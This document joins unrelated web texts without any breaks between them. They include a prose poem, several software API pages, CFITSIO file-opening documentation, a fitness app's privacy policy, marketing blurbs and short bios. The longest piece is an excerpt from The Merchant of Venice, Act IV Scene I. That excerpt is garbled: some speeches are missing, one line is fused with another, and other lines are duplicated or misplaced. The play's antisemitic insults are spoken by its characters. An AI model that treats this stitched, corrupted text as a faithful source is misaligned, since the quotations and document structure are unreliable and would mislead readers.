when I say we sometimes I mean I and the voices I’ve heard or the voices I’m searching for. and sometimes when I say us, you can join in. and sometimes when I say you, I can’t imagine who I’m thinking of. and sometimes when I say they, it’s about me. and sometimes when they don’t like it, I revert back to I and start again.
what was that Stagger Lee story about again? I just remember lots of folks ended up dead. some days I don’t wake up feeling like myself unless myself is tired in which case then I do feel like myself.
this is the kind of world a tapeworm should enjoy. there are too many intestines to not enjoy it. if only we could find such excitement in being stuck inside another’s guts.
this might be my bed but I’m still not home and where have you been?
all my life and all the hours of the night feel so manufactured right now. none of it can be real. I think nature skipped over me.
timber was the telltale word heard as the trees began to fall. fore was the foreboding warning as clubs launched balls over grass.
I think you know something I don’t. in fact, I’m sure you do. your thoughts are a world I’ll never know or are they? where have I been lately? anywhere good? wait, don’t tell me. your thoughts are yours. my house is your house but that’s only until you find someplace better to rest. is there such a place? can it be done? I wouldn’t know, I didn’t. but in one time, at its inception, we shared a false construct in which to sleep.
Sincerely
Dear X,
It’ll be my loss. Don’t think twice. This isn’t a ploy. No passive aggressive tactic. I know a loss when I let something go.
In rage against the sea, even Cuchulainn failed.
Efforts are as worthless as these or any words previously used. These too have little value but they’re not meant to mean anything in particular so in liberty written, freedom is given of which no worth can be assigned to equal the cost spent in its attaining.
Born into white space, these feelings are just as empty.
I have nothing else to say but at least this much has been written.
Sincerely,
Y
Kenyatta JP Garcia is the author of the epic trilogy: ROBOT, Yawning on the Sands, and Past and Again. Their most recent ebook is Playing dead. In addition, Garcia is the founder of ALTPOETICS and is also an assistant editor at Horse Less Review. All books/ebooks are available at: amazon.com/author/kjpgarcia


Attach the [ZoneTemplate] attribute to elements that contain multiple content areas (zones) to place a template set within the specified zone.
The [ZoneTemplate] attribute can be used on a layout to define the default content of a zone within the layout. It can also be used on a region or page that contains a layout to overide the layout and change the content of the zone for this instance of the layout.
The [ZoneTemplate()] attribute has the following properties you can set.
This is the name of the zone within a layout where the template should be rendered.
Defines the path of the template to render. Template paths look like Url paths, but they are references to the location of a template within the template folder structure.


Namespace: Adriva.Extensions.Analytics.Server
Assembly: Adriva.Extensions.Analytics.Server.dll
Interface IQueueingService
Provides methods and properties to queue analytics items in a server buffer and share it with processors to persist in an analytics repository.
Syntax
public interface IQueueingService
Properties
| View SourceIsCompleted
Returns a value indicating if adding to the queue is completed and no other items will be added.
Declaration
bool IsCompleted { get; }
Property Value
| Type | Description |
|---|---|
| System.Boolean | A boolean value indicating if the adding to the queue is completed. |
Methods
| View SourceEnqueue(AnalyticsItem)
Adds an analytics item to the queue to be processed by the system.
Declaration
void Enqueue(AnalyticsItem analyticsItem)
Parameters
| Type | Name | Description |
|---|---|---|
| AnalyticsItem | analyticsItem | An instance of AnalyticsItem class to be processed. |
TryGetNext(Int32, out AnalyticsItem)
Tries to get the next item from the queue in a given time period.
Declaration
bool TryGetNext(int millisecondsTimeout, out AnalyticsItem analyticsItem)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | millisecondsTimeout | Maximum time to wait in milliseconds before timing out. |
| AnalyticsItem | analyticsItem | The AnalyticsItem instance that is retrieved from the queue, if possible. |
Returns
| Type | Description |
|---|---|
| System.Boolean | A boolean value indicating if the AnalyticsItem could be retrieved or not. |


public class SimpleController extends java.lang.Object implements IController
| Modifier and Type | Field and Description |
|---|---|
protected boolean |
addingNote |
protected int |
currentBeat |
protected KeyStrategy |
keyStrategy |
protected int |
lastBeat |
protected int |
MICRO_TO_NANO |
protected MusicOperations |
model |
protected int |
mousePressStartBeat |
protected long |
mousePressTime |
protected MouseStrategy |
mouseStrategy |
protected boolean |
playing |
protected boolean |
practice |
protected int |
tempo |
protected double |
TEMPO_MULTIPLIER |
protected boolean |
terminateAtEnd |
protected IView[] |
views |
| Constructor and Description |
|---|
SimpleController(MusicOperations model,
boolean playToLastBeat,
IView... view)
Constructs a simple controller with a model, one or more views, and a default
playing
argument to allow the controller to immediately start playing. |
SimpleController(MusicOperations model,
IView... view)
Constructs a simple controller with a model and one or more views.
|
| Modifier and Type | Method and Description |
|---|---|
void |
addNote(Octave o,
NoteType nt,
int start,
int end)
Adds a note to the model.
|
void |
addNote(Octave o,
NoteType nt,
int start,
int end,
int instrument,
int loudness)
Adds a note to the model.
|
void |
addRepeat(RepeatInstr r)
Adds a repeat instruction to the model.
|
void |
control()
Provide the controller with control, start the program.
|
protected void |
setKeyStrategy()
Sets the key strategy to use for handling keyboard input.
|
protected void |
setMouseStrategy()
Sets the mouse strategy to use for handling user mouse input.
Mouse Click - activate note if practicing. |
void |
setTempo(int tempo)
Set the tempo to play at.
|
void |
setViewNotes()
Pass the sheet of notes from the model to the view.
|
protected MusicOperations model
protected IView[] views
protected int currentBeat
protected int tempo
protected boolean playing
protected boolean terminateAtEnd
protected boolean practice
protected int lastBeat
protected KeyStrategy keyStrategy
protected MouseStrategy mouseStrategy
protected boolean addingNote
protected int mousePressStartBeat
protected long mousePressTime
protected final double TEMPO_MULTIPLIER
protected final int MICRO_TO_NANO
public SimpleController(MusicOperations model, IView... view)
model
- the model to connectview
- the views to connectpublic SimpleController(MusicOperations model, boolean playToLastBeat, IView... view)
playing
argument to allow the controller to immediately start playing.model
- the model to connectplayToLastBeat
- whether the controller should immediately play and terminate upon the
reaching the last beatview
- the views to connectpublic void setTempo(int tempo)
IController
setTempo
in interface IController
tempo
- in microseconds per beatpublic void setViewNotes()
IController
setViewNotes
in interface IController
public void addNote(Octave o, NoteType nt, int start, int end)
IController
addNote
in interface IController
o
- the octave to add tont
- the note type to add tostart
- the start beatend
- the end beatpublic void addNote(Octave o, NoteType nt, int start, int end, int instrument, int loudness)
IController
addNote
in interface IController
o
- the octave to add tont
- the note type to add tostart
- the start beatend
- the end beatinstrument
- the instrument to playloudness
- the loudness to play atpublic void addRepeat(RepeatInstr r)
IController
addRepeat
in interface IController
r
- the repeat instruction to addpublic void control()
IController
control
in interface IController
protected void setKeyStrategy()
protected void setMouseStrategy()


function in jsngram.dir2 module
Description
Scan files in a directory recursively, excluding dot files and dot directories.
Apply a specified function
to each file.
Example
def myfunc(path, dest): return path jsngram.dir2.apply_files('/scratch', None, myfunc, True) # [('/scratch/c/d.txt', None, '/scratch/c/d.txt'), # ('/scratch/c/e.txt', None, '/scratch/c/e.txt')]
Usage
jsngram.dir2.apply_files(path, dest, func, exclude_root_files=False)
Argument path is a source directory that will be scanned.
Argument dest is a destination directory.
Argument func is a function with two arguments (full path of a source file, destination directory).
Both arguments given to the func are integrated path that will keep consistent position between the source treen and the destination tree.
You can use this to convert multiple files
with a function that converts file from source to destination.
Or use this to get some information from files
with a function that returns a summary from a file.
Returns a list of three element tuple, that is the source file path, destination and the return value of the func.
The length of the list is same as the number of files processed.
Creates dest directory tree before calling func unless dest = None
.
Skip files at top directory if exclude_root_files = True
.


At Simple Workout Saver (a.k.a. “SWS”), we collect and manage user data according to the following Privacy Policy, with the goal of incorporating our company values: transparency, accessibility, sanity, usability. This document is part of SWS's Terms of Service , and by using Simple Workout Saver mobile application (the “App”), you agree to the terms of this Privacy Policy and the Terms of Service. Please read the Terms of Service in their entirety, and refer to those for definitions and contacts.
We collect anonymous data from every visitor of the App to monitor traffic and fix bugs. For example, we collect information like web requests, the data sent in response to such requests, data about phone(screen resolution, phone model, android version, local time and date, time zone and others).
We ask you to log in and provide certain personal information (such as your name and email address) in order to be able to save your profile and the documents associated with it. In order to enable these or any other login based features, we use phone memory to store session information for your convenience. You may also choose to provide us with other personal information, such as your picture, but your decision to utilize these features and provide such data will always be voluntary.
Should you choose to delete your account, please contact us at<EMAIL_ADDRESS>and we will follow up with such request as soon as possible.
We only use your personal information to provide you the SWS services or to communicate with you about the services.
With respect to any information you may choose to upload to App, we take the privacy and confidentiality of such data seriously. We encrypt all information, and permanently delete any redacted edits you make to workouts. If you choose to make a data public, we recommend you redact any and all references to people and addresses, as we can't protect public data and we are not responsible for any violation of privacy law you may be liable for.
We employ industry standard techniques to protect against unauthorized access of data about you that we store, including personal information.
We do not share personal information you have provided to us without your consent, unless:
doing so is appropriate to carry out your own request;
we believe it's needed to enforce our Terms of Service, or that is legally required;
we believe it's needed to detect, prevent or address fraud, security or technical issues;
otherwise protect our property, legal rights, or that of others.
SWS is operated from the Poland. If you are using from outside the Poland, you agree to any processing of any personal information you provide us according to this policy.
SWS may contact you, by email or other means. For example, SWS may communicate with you about your use of the App.
We don't share your personal information with third parties. Only aggregated, anonymized data is periodically transmitted to external services to help us improve the App and service. We currently use Google Analytics (traffic analysis, SEO optimization). We listed below what data these third parties extract exactly. Feel free to check out their own Privacy Policies to find out more.
Google Analytics: anonymous (ad serving domains, browser type, demographics, language settings, page views, time/date), pseudonymous (IP address)
We also use social buttons provided by services like Google and Facebook. Your use of these third party services is entirely optional. We are not responsible for the privacy policies and/or practices of these third party services, and you are responsible for reading and understanding those third party services’ privacy policies.
We may amend this Privacy Policy from time to time. Use of information we collect now is subject to the Privacy Policy in effect at the time such information is used. If we make major changes in the way we collect or use information, we will notify you by posting an announcement on the App or sending you an email. A user is bound by any changes to the Privacy Policy when he or she uses the Services after such changes have been first posted.
Should you have any question or concern, please write to simpleworkoutsaver@gmail.com.


Avatar settings
Avatar can be added and modified through
Gravatar
for the email
.
Password settings
Password
Password (confirm)
Save
Language settings
Locale
Save


int fits_open_file / ffopen (fitsfile **fptr, char *filename, int iomode, > int *status) int fits_open_diskfile / ffdkopen (fitsfile **fptr, char *filename, int iomode, > int *status) int fits_open_data / ffdopn (fitsfile **fptr, char *filename, int iomode, > int *status) int fits_open_table / fftopn (fitsfile **fptr, char *filename, int iomode, > int *status) int fits_open_image / ffiopn (fitsfile **fptr, char *filename, int iomode, > int *status)
The iomode parameter determines the read/write access allowed in the
file and can have values of READONLY (0) or READWRITE (1). The filename
parameter gives the name of the file to be opened, followed by an
optional argument giving the name or index number of the extension
within the FITS file that should be moved to and opened (e.g.,
myfile.fits+3
or myfile.fits[3]
moves to the 3rd extension within
the file, and myfile.fits[events]
moves to the extension with the
keyword EXTNAME = 'EVENTS').
The fits_open_diskfile routine is similar to the fits_open_file routine except that it does not support the extended filename syntax in the input file name. This routine simply tries to open the specified input file on magnetic disk. This routine is mainly for use in cases where the filename (or directory path) contains square or curly bracket characters that would confuse the extended filename parser.
The fits_open_data routine is similar to the fits_open_file routine except that it will move to the first HDU containing significant data, if a HDU name or number to open was not explicitly specified as part of the filename. In this case, it will look for the first IMAGE HDU with NAXIS greater than 0, or the first table that does not contain the strings `GTI' (Good Time Interval extension) or `OBSTABLE' in the EXTNAME keyword value.
The fits_open_table and fits_open_image routines are similar to fits_open_data except they will move to the first significant table HDU or image HDU in the file, respectively, if a HDU name or number is not specified as part of the filename.
IRAF images (.imh format files) and raw binary data arrays may also be opened with READONLY access. CFITSIO will automatically test if the input file is an IRAF image, and if, so will convert it on the fly into a virtual FITS image before it is opened by the application program. If the input file is a raw binary data array of numbers, then the data type and dimensions of the array must be specified in square brackets following the name of the file (e.g. 'rawfile.dat[i512,512]' opens a 512 x 512 short integer image). See the `Extended File Name Syntax' chapter for more details on how to specify the raw file name. The raw file is converted on the fly into a virtual FITS image in memory that is then opened by the application program with READONLY access.
Programs can read the input file from the 'stdin' file stream if a dash character ('-') is given as the filename. Files can also be opened over the network using FTP or HTTP protocols by supplying the appropriate URL as the filename.
The input file can be modified in various ways to create a virtual file (usually stored in memory) that is then opened by the application program by supplying a filtering or binning specifier in square brackets following the filename. Some of the more common filtering methods are illustrated in the following paragraphs, but users should refer to the 'Extended File Name Syntax' chapter for a complete description of the full file filtering syntax.
When opening an image, a rectangular subset of the physical image may be opened by listing the first and last pixel in each dimension (and optional pixel skipping factor):
myimage.fits[101:200,301:400]will create and open a 100x100 pixel virtual image of that section of the physical image, and
myimage.fits[*,-*]
opens a virtual image
that is the same size as the physical image but has been flipped in
the vertical direction.
When opening a table, the filtering syntax can be used to add or delete
columns or keywords in the virtual table:
myfile.fits[events][col !time; PI = PHA*1.2]
opens a virtual table in which the TIME column
has been deleted and a new PI column has been added with a value 1.2
times that of the PHA column. Similarly, one can filter a table to keep
only those rows that satisfy a selection criterion:
myfile.fits[events][pha > 50]
creates and opens a virtual table
containing only those rows with a PHA value greater than 50. A large
number of boolean and mathematical operators can be used in the
selection expression. One can also filter table rows using 'Good Time
Interval' extensions, and spatial region filters as in
myfile.fits[events][gtifilter()]
and
myfile.fits[events][regfilter( "stars.rng")]
.
Finally, table columns may be binned or histogrammed to generate a
virtual image. For example, myfile.fits[events][bin (X,Y)=4]
will
result in a 2-dimensional image calculated by binning the X and Y
columns in the event table with a bin size of 4 in each dimension. The
TLMINn and TLMAXn keywords will be used by default to determine the
range of the image.
A single program can open the same FITS file more than once and then treat the resulting fitsfile pointers as though they were completely independent FITS files. Using this facility, a program can open a FITS file twice, move to 2 different extensions within the file, and then read and write data in those extensions in any order.
int fits_create_file / ffinit (fitsfile **fptr, char *filename, > int *status) int fits_create_diskfile / ffdkinit (fitsfile **fptr, char *filename, > int *status)
An error will be returned if the specified file already exists, unless the filename is prefixed with an exclamation point (!). In that case CFITSIO will overwrite (delete) any existing file with the same name. Note that the exclamation point is a special UNIX character so if it is used on the command line it must be preceded by a backslash to force the UNIX shell to accept the character as part of the filename.
The output file will be written to the 'stdout' file stream if a dash character ('-') or the string 'stdout' is given as the filename. Similarly, '-.gz' or 'stdout.gz' will cause the file to be gzip compressed before it is written out to the stdout stream.
Optionally, the name of a template file that is used to define the structure of the new file may be specified in parentheses following the output file name. The template file may be another FITS file, in which case the new file, at the time it is opened, will be an exact copy of the template file except that the data structures (images and tables) will be filled with zeros. Alternatively, the template file may be an ASCII format text file containing directives that define the keywords to be created in each HDU of the file. See the 'Extended File Name Syntax' section for a complete description of the template file syntax.
The fits_create_diskfile routine is similar to the fits_create_file routine except that it does not support the extended filename syntax in the input file name. This routine simply tries to create the specified file on magnetic disk. This routine is mainly for use in cases where the filename (or directory path) contains square or curly bracket characters that would confuse the extended filename parser.
int fits_close_file / ffclos (fitsfile *fptr, > int *status) int fits_delete_file / ffdelt (fitsfile *fptr, > int *status)
int fits_file_name / ffflnm (fitsfile *fptr, > char *filename, int *status) int fits_file_mode / ffflmd (fitsfile *fptr, > int *iomode, int *status) int fits_url_type / ffurlt (fitsfile *fptr, > char *urltype, int *status)


Avid is a unique global native content service, enabling
brands to consistently interact with their audiences
through content that is more relevant and engaging to drive better business results.
By understanding how, what, when and where content is
being consumed, Avid Media are able to advise clients on
their content curation, creation and distribution.
With unique access to publisher content
data, Canopy technology helps brands
identify topics and styles of content that will
best connect them to their audiences and
create the right impact.
Spartan automates the testing
of all forms of native including
short, long form and video with
data led distribution.
Delivering high reach and precision
with full
transparency on
performance to drive
optimisation and learning.


Web Developer
As a full stack web developer with a background in psychology and research, I am fascinated by the creativity, critical thinking, and problem solving involved in web development. On January 2016, I enrolled into a web development immersive bootcamp, General Assembly. I have never felt more driven and excited then when I am creating web apps.


City Tour
Sign In
City Tour
Find the best place to go!
Breakfast
Restaurant
Fast Food
Mall
Fun
Surabaya
Jakarta
Bali
Search!


Ben Cherry is a dude, who sometimes gives talks. Since he believes in JavaScript and web technologies, his presentations are built on JavaScript and web technologies. This also makes it convenient to host them online, so he did that. That's what this is.
Ben Cherry also has a blog, called Adequately Good, which is probably more useful than these slideshows.


Scene I
Venice. A court of justice.
DUKE
Enter the DUKE, the Magnificoes, ANTONIO, BASSANIO,
GRATIANO, SALERIO, and others
What, is Antonio here?
ANTONIO
Ready, so please your grace.
DUKE
I am sorry for thee: thou art come to answer
A stony adversary, an inhuman wretch
uncapable of pity, void and empty
From any dram of mercy.
ANTONIO
I have heard
Your grace hath ta'en great pains to qualify
His rigorous course; but since he stands obdurate
And that no lawful means can carry me
Out of his envy's reach, I do oppose
My patience to his fury, and am arm'd
To suffer, with a quietness of spirit,
The very tyranny and rage of his.
DUKE
Go one, and call the Jew into the court.
SALERIO
He is ready at the door: he comes, my lord.
[Enter SHYLOCK]
DUKE
Make room, and let him stand before our face.
Shylock, the world thinks, and I think so too,
That thou but lead'st this fashion of thy malice
To the last hour of act; and then 'tis thought
Thou'lt show thy mercy and remorse more strange
Than is thy strange apparent cruelty;
And where thou now exact'st the penalty,
Which is a pound of this poor merchant's flesh,
Thou wilt not only loose the forfeiture,
But, touch'd with human gentleness and love,
Forgive a moiety of the principal;
Glancing an eye of pity on his losses,
That have of late so huddled on his back,
Enow to press a royal merchant down
And pluck commiseration of his state
From brassy bosoms and rough hearts of flint,
From stubborn Turks and Tartars, never train'd
To offices of tender courtesy.
We all expect a gentle answer, Jew.
SHYLOCK
I have possess'd your grace of what I purpose;
And by our holy Sabbath have I sworn
To have the due and forfeit of my bond:
If you deny it, let the danger light
Upon your charter and your city's freedom.
You'll ask me, why I rather choose to have
A weight of carrion flesh than to receive
Three thousand ducats: I'll not answer that:
But, say, it is my humour: is it answer'd?
What if my house be troubled with a rat
And I be pleased to give ten thousand ducats
To have it baned? What, are you answer'd yet?
Some men there are love not a gaping pig;
Some, that are mad if they behold a cat;
And others, when the bagpipe sings i' the nose,
Cannot contain their urine: for affection,
Mistress of passion, sways it to the mood
Of what it likes or loathes. Now, for your answer:
As there is no firm reason to be render'd,
Why he cannot abide a gaping pig;
Why he, a harmless necessary cat;
Why he, a woollen bagpipe; but of force
Must yield to such inevitable shame
As to offend, himself being offended;
So can I give no reason, nor I will not,
More than a lodged hate and a certain loathing
I bear Antonio, that I follow thus
A losing suit against him. Are you answer'd?
BASSANIO
This is no answer, thou unfeeling man,
To excuse the current of thy cruelty.
SHYLOCK
I am not bound to please thee with my answers.
BASSANIO
Do all men kill the things they do not love?
SHYLOCK
Hates any man the thing he would not kill?
BASSANIO
Every offence is not a hate at first.
SHYLOCK
What, wouldst thou have a serpent sting thee twice?
ANTONIO
I pray you, think you question with the Jew:
You may as well go stand upon the beach
And bid the main flood bate his usual height;
You may as well use question with the wolf
Why he hath made the ewe bleat for the lamb;
You may as well forbid the mountain pines
To wag their high tops and to make no noise,
When they are fretten with the gusts of heaven;
You may as well do anything most hard,
As seek to soften that--than which what's harder?--

BASSANIO
For thy three thousand ducats here is six.
SHYLOCK
What judgment shall I dread, doing
Were in six parts and every part a ducat,
I would not draw them; I would have my bond.
DUKE
How shalt thou hope for mercy, rendering none?
SHYLOCK
What judgment shall I dread, doing no wrong?

Why sweat they under burthens? let their beds
Be made as soft as yours and let their palates
Be season'd with such viands? You will answer
'The slaves are ours:' so do I answer you:
The pound of flesh, which I demand of him,
Is dearly bought; 'tis mine and I will have it.
If you deny me, fie upon your law!
There is no force in the decrees of Venice.
I stand for judgment: answer; shall I have it?
DUKE
Upon my power I may dismiss this court,
Unless Bellario, a learned doctor,
Whom I have sent for to determine this,
Come here to-day.
SALERIO
My lord, here stays without
A messenger with letters from the doctor,
New come from Padua.
DUKE
Bring us the letter; call the messenger.
BASSANIO
Good cheer, Antonio! What, man, courage yet!
The Jew shall have my flesh, blood, bones and all,
Ere thou shalt lose for me one drop of blood.
ANTONIO
I am a tainted wether of the flock,
Meetest for death: the weakest kind of fruit
Drops earliest to the ground; and so let me
You cannot better be employ'd, Bassanio,
Than to live still and write mine epitaph.
[Enter NERISSA, dressed like a lawyer's clerk]
DUKE
Came you from Padua, from Bellario?
NERISSA
From both, my lord. Bellario greets your grace.
[Presenting a letter]
BASSANIO
Why dost thou whet thy knife so earnestly?
SHYLOCK
To cut the forfeiture from that bankrupt there.
GRATIANO
Not on thy sole, but on thy soul, harsh Jew,
Thou makest thy knife keen; but no metal can,
No, not the hangman's axe, bear half the keenness
Of thy sharp envy. Can no prayers pierce thee?
SHYLOCK
No, none that thou hast wit enough to make.
GRATIANO
O, be thou damn'd, inexecrable dog!
And for thy life let justice be accused.
Thou almost makest me waver in my faith
To hold opinion with Pythagoras,
That souls of animals infuse themselves
Into the trunks of men: thy currish spirit
Govern'd a wolf, who, hang'd for human slaughter,
Even from the gallows did his fell soul fleet,
And, whilst thou lay'st in thy unhallow'd dam,
Infused itself in thee; for thy desires
Are wolvish, bloody, starved and ravenous.
SHYLOCK
Till thou canst rail the seal from off my bond,
Thou but offend'st thy lungs to speak so loud:
Repair thy wit, good youth, or it will fall
To cureless ruin. I stand here for law.
DUKE
This letter from Bellario doth commend
A young and learned doctor to our court.
Where is he?
NERISSA
He attendeth here hard by,
To know your answer, whether you'll admit him.
DUKE
With all my heart. Some three or four of you
Go give him courteous conduct to this place.
Meantime the court shall hear Bellario's letter.
Clerk
[Reads]
Your grace shall understand that at the receipt of
your letter I am very sick: but in the instant that
your messenger came, in loving visitation was with
me a young doctor of Rome; his name is Balthasar.  I beseech you, let his lack of
years be no impediment to let him lack a reverend
estimation; for I never knew so young a body with so
old a head. I leave him to your gracious
acceptance, whose trial shall better publish his
commendation.
DUKE
You hear the learn'd Bellario, what he writes:
And here, I take it, is the doctor come.
[Enter PORTIA, dressed like a doctor of laws]
Give me your hand. Come you from old Bellario?
DUKE
You are welcome: take your place.
Are you acquainted with the difference
That holds this present question in the court?
PORTIA
I am informed thoroughly of the cause.
Which is the merchant here, and which the Jew?
DUKE
Antonio and old Shylock, both stand forth.
PORTIA
Is your name Shylock?
SHYLOCK
Shylock is my name.
PORTIA
Of a strange nature is the suit you follow;
Yet in such rule that the Venetian law
Cannot impugn you as you do proceed.
You stand within his danger, do you not?
PORTIA
Do you confess the bond?
PORTIA
Then must the Jew be merciful.
SHYLOCK
On what compulsion must I? tell me that.
PORTIA
The quality of mercy is not strain'd,
It droppeth as the gentle rain from heaven
Upon the place beneath: it is twice blest;
It blesseth him that gives and him that takes:
'Tis mightiest in the mightiest: it becomes
The throned monarch better than his crown;
His sceptre shows the force of temporal power,
The attribute to awe and majesty,
Wherein doth sit the dread and fear of kings;
But mercy is above this sceptred sway;
It is enthroned in the hearts of kings,
It is an attribute to God himself;
And earthly power doth then show likest God's
When mercy seasons justice. Therefore, Jew,
Though justice be thy plea, consider this,
That, in the course of justice, none of us
Should see salvation: we do pray for mercy;
And that same prayer doth teach us all to render
The deeds of mercy. I have spoke thus much
To mitigate the justice of thy plea;
Which if thou follow, this strict court of Venice
Must needs give sentence 'gainst the merchant there.
SHYLOCK
My deeds upon my head! I crave the law,
The penalty and forfeit of my bond.
PORTIA
Is he not able to discharge the money?
BASSANIO
Yes, here I tender it for him in the court;
Yea, twice the sum: if that will not suffice,
I will be bound to pay it ten times o'er,
On forfeit of my hands, my head, my heart:
If this will not suffice, it must appear
That malice bears down truth. And I beseech you,
Wrest once the law to your authority:
To do a great right, do a little wrong,
And curb this cruel devil of his will.
PORTIA
It must not be; there is no power in Venice
Can alter a decree established:
'Twill be recorded for a precedent,
And many an error by the same example
Will rush into the state: it cannot be.
SHYLOCK
A Daniel come to judgment! yea, a Daniel!
O wise young judge, how I do honour thee!

SHYLOCK
Here 'tis, most reverend doctor, here it is.
PORTIA
Shylock, there's thrice thy money offer'd thee.
SHYLOCK
An oath, an oath, I have an oath in heaven:
Shall I lay perjury upon my soul?
No, not for Venice.
PORTIA
Why, this bond is forfeit;
And lawfully by this the Jew may claim
A pound of flesh, to be by him cut off
Nearest the merchant's heart. Be merciful:
Take thrice thy money; bid me tear the bond.
SHYLOCK
When it is paid according to the tenor.

ANTONIO
Most heartily I do beseech the court
To give the judgment.
PORTIA
Why then, thus it is:
You must prepare your bosom for his knife.
SHYLOCK
O noble judge! O excellent young man!
PORTIA
For the intent and purpose of the law
Hath full relation to the penalty,
Which here appeareth due upon the bond.
SHYLOCK
'Tis very true: O wise and upright judge!
How much more elder art thou than thy looks!
PORTIA
Therefore lay bare your bosom.
SHYLOCK
Ay, his breast:
So says the bond: doth it not, noble judge?
'Nearest his heart:' those are the very words.
PORTIA
It is so. Are there balance here to weigh
The flesh?
SHYLOCK
I have them ready.
PORTIA
Have by some surgeon, Shylock, on your charge,
To stop his wounds, lest he do bleed to death.
SHYLOCK
Is it so nominated in the bond?
PORTIA
It is not so express'd: but what of that?
'Twere good you do so much for charity.
SHYLOCK
I cannot find it; 'tis not in the bond.
PORTIA
You, merchant, have you any thing to say?
ANTONIO
But little: I am arm'd and well prepared.
Give me your hand, Bassanio: fare you well!
Grieve not that I am fallen to this for you;
For herein Fortune shows herself more kind
Than is her custom: it is still her use
To let the wretched man outlive his wealth,
To view with hollow eye and wrinkled brow
An age of poverty; from which lingering penance
Of such misery doth she cut me off.
Commend me to your honourable wife:
Tell her the process of Antonio's end;
Say how I loved you, speak me fair in death;
And, when the tale is told, bid her be judge
Whether Bassanio had not once a love.

BASSANIO
Antonio, I am married to a wife
Which is as dear to me as life itself;
But life itself, my wife, and all the world,
Are not with me esteem'd above thy life:
I would lose all, ay, sacrifice them all
Here to this devil, to deliver you.
PORTIA
Your wife would give you little thanks for that,
If she were by, to hear you make the offer.
GRATIANO
I have a wife, whom, I protest, I love:
I would she were in heaven, so she could
Entreat some power to change this currish Jew.
NERISSA
'Tis well you offer it behind her back;
The wish would make else an unquiet house.
SHYLOCK
These be the Christian husbands. I have a daughter;
Would any of the stock of Barrabas
Had been her husband rather than a Christian!
[Aside]
We trifle time: I pray thee, pursue sentence.
PORTIA
A pound of that same merchant's flesh is thine:
The court awards it, and the law doth give it.
SHYLOCK
Most rightful judge!
PORTIA
And you must cut this flesh from off his breast:
The law allows it, and the court awards it.
SHYLOCK
Most learned judge! A sentence! Come, prepare!
PORTIA
Tarry a little; there is something else.
This bond doth give thee here no jot of blood;
The words expressly are 'a pound of flesh:'
Take then thy bond, take thou thy pound of flesh;
But, in the cutting it, if thou dost shed
One drop of Christian blood, thy lands and goods
Are, by the laws of Venice, confiscate
Unto the state of Venice.
GRATIANO
O upright judge! Mark, Jew: O learned judge!

GRATIANO
O learned judge! Mark, Jew: a learned judge!
SHYLOCK
I take this offer, then; pay the bond thrice
And let the Christian go.
BASSANIO
Here is the money.
PORTIA
Soft!
The Jew shall have all justice; soft! no haste:
He shall have nothing but the penalty.
GRATIANO
O Jew! an upright judge, a learned judge!
PORTIA
Therefore prepare thee to cut off the flesh.
Shed thou no blood, nor cut thou less nor more
But just a pound of flesh: if thou cut'st more
Or less than a just pound, be it but so much
As makes it light or heavy in the substance,
Or the division of the twentieth part
Of one poor scruple, nay, if the scale do turn
But in the estimation of a hair,
Thou diest and all thy goods are confiscate.
GRATIANO
A second Daniel, a Daniel, Jew!
Now, infidel, I have you on the hip.
PORTIA
Why doth the Jew pause? take thy forfeiture.
SHYLOCK
Give me my principal, and let me go.
BASSANIO
I have it ready for thee; here it is.
PORTIA
He hath refused it in the open court:
He shall have merely justice and his bond.

I thank thee, Jew, for teaching me that word.
SHYLOCK
Shall I not have barely my principal?
PORTIA
Thou shalt have nothing but the forfeiture,
To be so taken at thy peril, Jew.
SHYLOCK
Why, then the devil give him good of it!
I'll stay no longer question.
PORTIA
Tarry, Jew:
The law hath yet another hold on you.
It is enacted in the laws of Venice,
If it be proved against an alien
That by direct or indirect attempts
He seek the life of any citizen,
The party 'gainst the which he doth contrive
Shall seize one half his goods; the other half
Comes to the privy coffer of the state;
And the offender's life lies in the mercy
Of the duke only, 'gainst all other voice.
In which predicament, I say, thou stand'st;
For it appears, by manifest proceeding,
That indirectly and directly too
Thou hast contrived against the very life
Of the defendant; and thou hast incurr'd
The danger formerly by me rehearsed.
Down therefore and beg mercy of the duke.
GRATIANO
Beg that thou mayst have leave to hang thyself:
And yet, thy wealth being forfeit to the state,
Thou hast not left the value of a cord;
Therefore thou must be hang'd at the state's charge.
DUKE
That thou shalt see the difference of our spirits,
I pardon thee thy life before thou ask it:
For half thy wealth, it is Antonio's;
The other half comes to the general state,
Which humbleness may drive unto a fine.
PORTIA
Ay, for the state, not for Antonio.
SHYLOCK
Nay, take my life and all; pardon not that:
You take my house when you do take the prop
That doth sustain my house; you take my life
When you do take the means whereby I live.
PORTIA
What mercy can you render him, Antonio?
GRATIANO
A halter gratis; nothing else, for God's sake.
ANTONIO
So please my lord the duke and all the court
To quit the fine for one half of his goods,
I am content; so he will let me have
The other half in use, to render it,
Upon his death, unto the gentleman
That lately stole his daughter:
Two things provided more, that, for this favour,
He presently become a Christian;
The other, that he do record a gift,
Here in the court, of all he dies possess'd,
Unto his son Lorenzo and his daughter.
DUKE
He shall do this, or else I do recant
The pardon that I late pronounced here.
PORTIA
Art thou contented, Jew? what dost thou say?
PORTIA
Clerk, draw a deed of gift.
SHYLOCK
I pray you, give me leave to go from hence;
I am not well: send the deed after me,
And I will sign it.
DUKE
Get thee gone, but do it.
GRATIANO
In christening shalt thou have two god-fathers:
Had I been judge, thou shouldst have had ten more,
To bring thee to the gallows, not the font.
[Exit SHYLOCK]
DUKE
Sir, I entreat you home with me to dinner.
PORTIA
I humbly do desire your grace of pardon:
I must away this night toward Padua,
And it is meet I presently set forth.
DUKE
I am sorry that your leisure serves you not.
Antonio, gratify this gentleman,
For, in my mind, you are much bound to him.
[Exeunt Duke and his train]
BASSANIO
Most worthy gentleman, I and my friend
Have by your wisdom been this day acquitted
Of grievous penalties; in lieu whereof,
Three thousand ducats, due unto the Jew,
We freely cope your courteous pains withal.
ANTONIO
And stand indebted, over and above,
In love and service to you evermore.
PORTIA
He is well paid that is well satisfied;
And I, delivering you, am satisfied
And therein do account myself well paid:
My mind was never yet more mercenary.
I pray you, know me when we meet again:
I wish you well, and so I take my leave.
BASSANIO
Dear sir, of force I must attempt you further:
Take some remembrance of us, as a tribute,
Not as a fee: grant me two things, I pray you,
Not to deny me, and to pardon me.
PORTIA
You press me far, and therefore I will yield.
[To ANTONIO]
Give me your gloves, I'll wear them for your sake;
[To BASSANIO]
And, for your love, I'll take this ring from you:
Do not draw back your hand; I'll take no more;
And you in love shall not deny me this.
BASSANIO
This ring, good sir, alas, it is a trifle!
I will not shame myself to give you this.
PORTIA
I will have nothing else but only this;
